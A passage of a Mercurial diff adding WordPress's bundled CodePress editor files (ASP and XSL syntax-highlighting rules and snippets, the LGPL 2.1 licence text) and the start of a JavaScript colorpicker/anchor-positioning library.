    |<\/P>)/g, output : '\'$1$2'}, +// <%.* + { input : /(<%)/g, output : '$1' }, +// .*%> + { input : /(%>)/g, output : '$1' }, +// <%@...%> + { input : /(<%@)(.+?)(%>)/gi, output : '$1$2$3' }, +//Numbers + { input : /\b([\d]+)\b/g, output : '$1' }, +// Reserved Words 1 (Blue) + { input : /\b(And|As|ByRef|ByVal|Call|Case|Class|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Exit|False|For|Function)\b/gi, output : '$1' }, + { input : /\b(Get|GoTo|If|Imp|In|Is|Let|Loop|Me|Mod|Enum|New|Next|Not|Nothing|Null|On|Option|Or|Private|Public|ReDim|Rem)\b/gi, output : '$1' }, + { input : /\b(Resume|Select|Set|Stop|Sub|Then|To|True|Until|Wend|While|With|Xor|Execute|Randomize|Erase|ExecuteGlobal|Explicit|step)\b/gi, output : '$1' }, +// Reserved Words 2 (Purple) + { input : /\b(Abandon|Abs|AbsolutePage|AbsolutePosition|ActiveCommand|ActiveConnection|ActualSize|AddHeader|AddNew|AppendChunk)\b/gi, output : '$1' }, + { input : /\b(AppendToLog|Application|Array|Asc|Atn|Attributes|BeginTrans|BinaryRead|BinaryWrite|BOF|Bookmark|Boolean|Buffer|Byte)\b/gi, output : '$1' }, + { input : /\b(CacheControl|CacheSize|Cancel|CancelBatch|CancelUpdate|CBool|CByte|CCur|CDate|CDbl|Charset|Chr|CInt|Clear)\b/gi, output : '$1' }, + { input : /\b(ClientCertificate|CLng|Clone|Close|CodePage|CommandText|CommandType|CommandTimeout|CommitTrans|CompareBookmarks|ConnectionString|ConnectionTimeout)\b/gi, output : '$1' }, + { input : /\b(Contents|ContentType|Cookies|Cos|CreateObject|CreateParameter|CSng|CStr|CursorLocation|CursorType|DataMember|DataSource|Date|DateAdd|DateDiff)\b/gi, output : '$1' }, + { input : /\b(DatePart|DateSerial|DateValue|Day|DefaultDatabase|DefinedSize|Delete|Description|Double|EditMode|Eof|EOF|err|Error)\b/gi, output : '$1' }, + { input : /\b(Exp|Expires|ExpiresAbsolute|Filter|Find|Fix|Flush|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent)\b/gi, output : '$1' }, + { input : /\b(GetChunk|GetLastError|GetRows|GetString|Global|HelpContext|HelpFile|Hex|Hour|HTMLEncode|IgnoreCase|Index|InStr|InStrRev)\b/gi, output : '$1' }, + { input : /\b(Int|Integer|IsArray|IsClientConnected|IsDate|IsolationLevel|Join|LBound|LCase|LCID|Left|Len|Lock|LockType|Log|Long|LTrim)\b/gi, output : '$1' }, + { input : /\b(MapPath|MarshalOptions|MaxRecords|Mid|Minute|Mode|Month|MonthName|Move|MoveFirst|MoveLast|MoveNext|MovePrevious|Name|NextRecordset)\b/gi, output : '$1' }, + { input : /\b(Now|Number|NumericScale|ObjectContext|Oct|Open|OpenSchema|OriginalValue|PageCount|PageSize|Pattern|PICS|Precision|Prepared|Property)\b/gi, output : '$1' }, + { input : /\b(Provider|QueryString|RecordCount|Redirect|RegExp|Remove|RemoveAll|Replace|Requery|Request|Response|Resync|Right|Rnd)\b/gi, output : '$1' }, + { input : /\b(RollbackTrans|RTrim|Save|ScriptTimeout|Second|Seek|Server|ServerVariables|Session|SessionID|SetAbort|SetComplete|Sgn)\b/gi, output : '$1' }, + { input : /\b(Sin|Size|Sort|Source|Space|Split|Sqr|State|StaticObjects|Status|StayInSync|StrComp|String|StrReverse|Supports|Tan|Time)\b/gi, output : '$1' }, + { input : /\b(Timeout|Timer|TimeSerial|TimeValue|TotalBytes|Transfer|Trim|Type|Type|UBound|UCase|UnderlyingValue|UnLock|Update|UpdateBatch)\b/gi, output : '$1' }, + { input : /\b(URLEncode|Value|Value|Version|Weekday|WeekdayName|Write|Year)\b/gi, output : '$1' }, +// Reserved Words 3 (Turquis) + { input : /\b(vbBlack|vbRed|vbGreen|vbYellow|vbBlue|vbMagenta|vbCyan|vbWhite|vbBinaryCompare|vbTextCompare)\b/gi, output : '$1' }, + { input : /\b(vbSunday|vbMonday|vbTuesday|vbWednesday|vbThursday|vbFriday|vbSaturday|vbUseSystemDayOfWeek)\b/gi, output : '$1' }, + { input : /\b(vbFirstJan1|vbFirstFourDays|vbFirstFullWeek|vbGeneralDate|vbLongDate|vbShortDate|vbLongTime|vbShortTime)\b/gi, output : '$1' }, + { input : /\b(vbObjectError|vbCr|VbCrLf|vbFormFeed|vbLf|vbNewLine|vbNullChar|vbNullString|vbTab|vbVerticalTab|vbUseDefault|vbTrue)\b/gi, output : '$1' }, + { input : /\b(vbFalse|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant)\b/gi, output : '$1' }, + { input : /\b(vbDataObject|vbDecimal|vbByte|vbArray)\b/gi, output : '$1' }, +// html comments + { input : /(<!--.*?-->.)/g, output : '$1' } +] + +Language.Functions = [ + // Output at index 0, must be the desired tagname surrounding a $1 + // Name is the index from the regex that marks the functionname + {input : /(function|sub)([ ]*?)(\w+)([ ]*?\()/gi , output : '$1', name : '$3'} +] + +Language.snippets = [ +//Conditional + { input : 'if', output : 'If $0 Then\n\t\nEnd If' }, + { input : 'ifelse', output : 'If $0 Then\n\t\n\nElse\n\t\nEnd If' }, + { input : 'case', output : 'Select Case $0\n\tCase ?\n\tCase Else\nEnd Select'}, +//Response + { input : 'rw', output : 'Response.Write( $0 )' }, + { input : 'resc', output : 'Response.Cookies( $0 )' }, + { input : 'resb', output : 'Response.Buffer'}, + { input : 'resflu', output : 'Response.Flush()'}, + { input : 'resend', output : 'Response.End'}, +//Request + { input : 'reqc', output : 'Request.Cookies( $0 )' }, + { input : 'rq', output : 'Request.Querystring("$0")' }, + { input : 'rf', output : 'Request.Form("$0")' }, +//FSO + { input : 'fso', output : 'Set fso = Server.CreateObject("Scripting.FileSystemObject")\n$0' }, + { input : 'setfo', output : 'Set fo = fso.getFolder($0)' }, + { input : 'setfi', output : 'Set fi = fso.getFile($0)' }, + { input : 'twr', output : 'Set f = fso.CreateTextFile($0,true)\'overwrite\nf.WriteLine()\nf.Close'}, + { input : 'tre', output : 'Set f = fso.OpenTextFile($0, 1)\nf.ReadAll\nf.Close'}, +//Server + { input : 'mapp', output : 'Server.Mappath($0)' }, +//Loops + { input : 'foreach', output : 'For Each $0 in ?\n\t\nNext' }, + { input : 'for', output : 'For $0 to ? step ?\n\t\nNext' }, + { input : 'do', output : 'Do While($0)\n\t\nLoop' }, + { input : 'untilrs', output : 'do until rs.eof\n\t\nrs.movenext\nloop' }, +//ADO + { input : 'adorec', output : 'Set rs = Server.CreateObject("ADODB.Recordset")' }, + { input : 'adocon', output : 'Set Conn = Server.CreateObject("ADODB.Connection")' }, + { input : 'adostr', output : 'Set oStr = Server.CreateObject("ADODB.Stream")' }, +//Http Request + { input : 'xmlhttp', output : 'Set xmlHttp = Server.CreateObject("Microsoft.XMLHTTP")\nxmlHttp.open("GET", $0, false)\nxmlHttp.send()\n?=xmlHttp.responseText' }, + { input : 'xmldoc', output : 'Set xmldoc = Server.CreateObject("Microsoft.XMLDOM")\nxmldoc.async=false\nxmldoc.load(request)'}, +//Functions + { input : 'func', output : 'Function $0()\n\t\n\nEnd Function'}, + { input : 'sub', output : 'Sub $0()\n\t\nEnd Sub'} + +] + +Language.complete = [ + //{ input : '\'', output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [ + { input : '[space]', output : ' ' }, + { input : '[enter]', output : '
    ' } , + { input : '[j]', output : 'testing' }, + { input : '[7]', output : '&' } +] \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/xsl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/xsl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,15 @@ +/* + * CodePress color styles for HTML syntax highlighting + * By RJ Bruneel + */ + +b {color:#000080;} /* tags */ +ins, ins b, ins s, ins em {color:gray;} /* comments */ +s, s b {color:#7777e4;} /* attribute values */ +a {color:#E67300;} /* links */ +u {color:#CC66CC;} /* forms */ +big {color:#db0000;} /* images */ +em, em b {color:#800080;} /* style */ +strong {color:#800000;} /* script */ +tt i {color:darkblue;font-weight:bold;} /* script reserved words */ +xsl {color:green;} /* xsl */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/xsl.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/xsl.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,103 @@ +/* + * CodePress regular expressions for XSL syntax highlighting + * By RJ Bruneel + */ + +Language.syntax = [ // XSL + { + input : /(<[^!]*?>)/g, + output : '$1' // all tags + },{ + input : /(<a.*?>|<\/a>)/g, + output : '$1' // links + },{ + input : /(<img .*?>)/g, + output : '$1' // images + },{ + input : /(<\/?(button|textarea|form|input|select|option|label).*?>)/g, + output : '$1' // forms + },{ + input : /(<style.*?>)(.*?)(<\/style>)/g, + output : '$1$2$3' // style tags + },{ + input : /(<script.*?>)(.*?)(<\/script>)/g, + output : '$1$2$3' // script tags + },{ + input : /(<xsl.*?>|<\/xsl.*?>)/g, + output : '$1' // xsl + },{ + input : /=(".*?")/g, + output : '=$1' // atributes double quote + },{ + input : /=('.*?')/g, + output : '=$1' // atributes single quote + },{ + input : /(<!--.*?-->.)/g, + output : '$1' // comments + },{ + input : /\b(alert|window|document|break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g, + output : '$1' // script reserved words + } +]; + +Language.snippets = [ + {input : 'aref', output : '' }, + {input : 'h1', output : '

    $0

    ' }, + {input : 'h2', output : '

    $0

    ' }, + {input : 'h3', output : '

    $0

    ' }, + {input : 'h4', output : '

    $0

    ' }, + {input : 'h5', output : '
    $0
    ' }, + {input : 'h6', output : '
    $0
    ' }, + {input : 'html', output : '\n\t$0\n' }, + {input : 'head', output : '\n\t\n\t$0\n\t\n' }, + {input : 'img', output : '' }, + {input : 'input', output : '' }, + {input : 'label', output : '' }, + {input : 'legend', output : '\n\t$0\n' }, + {input : 'link', output : '' }, + {input : 'base', output : '' }, + {input : 'body', output : '\n\t$0\n' }, + {input : 'css', output : '' }, + {input : 'div', output : '
    \n\t$0\n
    ' }, + {input : 'divid', output : '
    \n\t\n
    ' }, + {input : 'dl', output : '
    \n\t
    \n\t\t$0\n\t
    \n\t
    \n
    ' }, + {input : 'fieldset', output : '
    \n\t$0\n
    ' }, + {input : 'form', output : '
    \n\t\n
    ' }, + {input : 'meta', output : '' }, + {input : 'p', output : '

    $0

    ' }, + {input : 'b', output : '$0' }, + {input : 'li', output : '
  • $0
  • ' }, + {input : 'ul', output : '
      $0
    ' }, + {input : 'ol', output : '
      $0
    ' }, + {input : 'strong', output : '$0' }, + {input : 'br', output : '
    ' }, + {input : 'script', output : '' }, + {input : 'scriptsrc', output : '' }, + {input : 'span', output : '$0' }, + {input : 'table', output : '\n\t\n\t\n
    ' }, + {input : 'style', output : '' }, + {input : 'xsl:stylesheet', output : '' }, + {input : 'xsl:template', output : '$0' }, + {input : 'xsl:for-each', output : '' }, + {input : 'xsl:choose', output : '$0<\xsl:choose>' }, + {input : 'xsl:param', output : '' }, + {input : 'xsl:variable', output : '' }, + {input : 'xsl:if', output : '' }, + {input : 'xsl:when', output : '' }, + {input : 'xsl:otherwise', output : '$0' }, + {input : 'xsl:attribute', output : '' }, + {input : 'xsl:value-of', output : '' }, + {input : 'xsl:with-param', output : '' }, + {input : 'xsl:call-template', output : '' } + +]; + +Language.complete = [ // Auto complete only for 1 character + {input : '\'',output : '\'$0\'' }, + {input : '"', output : '"$0"' }, + {input : '(', output : '\($0\)' }, + {input : '[', output : '\[$0\]' }, + {input : '{', output : '{\n\t$0\n}' } +]; + +Language.shortcuts = []; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,458 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/colorpicker.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/colorpicker.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,707 @@ +// =================================================================== +// Author: Matt Kruse +// WWW: http://www.mattkruse.com/ +// +// NOTICE: You may use this code for any purpose, commercial or +// private, without any further permission from the author. You may +// remove this notice from your final code if you wish, however it is +// appreciated by the author if at least my web site address is kept. +// +// You may *NOT* re-distribute this code in any way except through its +// use. That means, you can include it in your product, or your web +// site, or any other form where the code is actually being used. You +// may not put the plain javascript up on your site for download or +// include it in your javascript libraries for download. +// If you wish to share this code with others, please just point them +// to the URL instead. +// Please DO NOT link directly to my .js files from your site. Copy +// the files to your server and use them there. Thank you. +// =================================================================== + + +/* SOURCE FILE: AnchorPosition.js */ + +/* +AnchorPosition.js +Author: Matt Kruse +Last modified: 10/11/02 + +DESCRIPTION: These functions find the position of an tag in a document, +so other elements can be positioned relative to it. + +COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small +positioning errors - usually with Window positioning - occur on the +Macintosh platform. + +FUNCTIONS: +getAnchorPosition(anchorname) + Returns an Object() having .x and .y properties of the pixel coordinates + of the upper-left corner of the anchor. Position is relative to the PAGE. + +getAnchorWindowPosition(anchorname) + Returns an Object() having .x and .y properties of the pixel coordinates + of the upper-left corner of the anchor, relative to the WHOLE SCREEN. + +NOTES: + +1) For popping up separate browser windows, use getAnchorWindowPosition. + Otherwise, use getAnchorPosition + +2) Your anchor tag MUST contain both NAME and ID attributes which are the + same. For example: + + +3) There must be at least a space between for IE5.5 to see the + anchor tag correctly. Do not do with no space. +*/ + +// getAnchorPosition(anchorname) +// This function returns an object having .x and .y properties which are the coordinates +// of the named anchor, relative to the page. +function getAnchorPosition(anchorname) { + // This function will return an Object with x and y properties + var useWindow=false; + var coordinates=new Object(); + var x=0,y=0; + // Browser capability sniffing + var use_gebi=false, use_css=false, use_layers=false; + if (document.getElementById) { use_gebi=true; } + else if (document.all) { use_css=true; } + else if (document.layers) { use_layers=true; } + // Logic to find position + if (use_gebi && document.all) { + x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]); + y=AnchorPosition_getPageOffsetTop(document.all[anchorname]); + } + else if (use_gebi) { + var o=document.getElementById(anchorname); + x=AnchorPosition_getPageOffsetLeft(o); + y=AnchorPosition_getPageOffsetTop(o); + } + else if (use_css) { + x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]); + 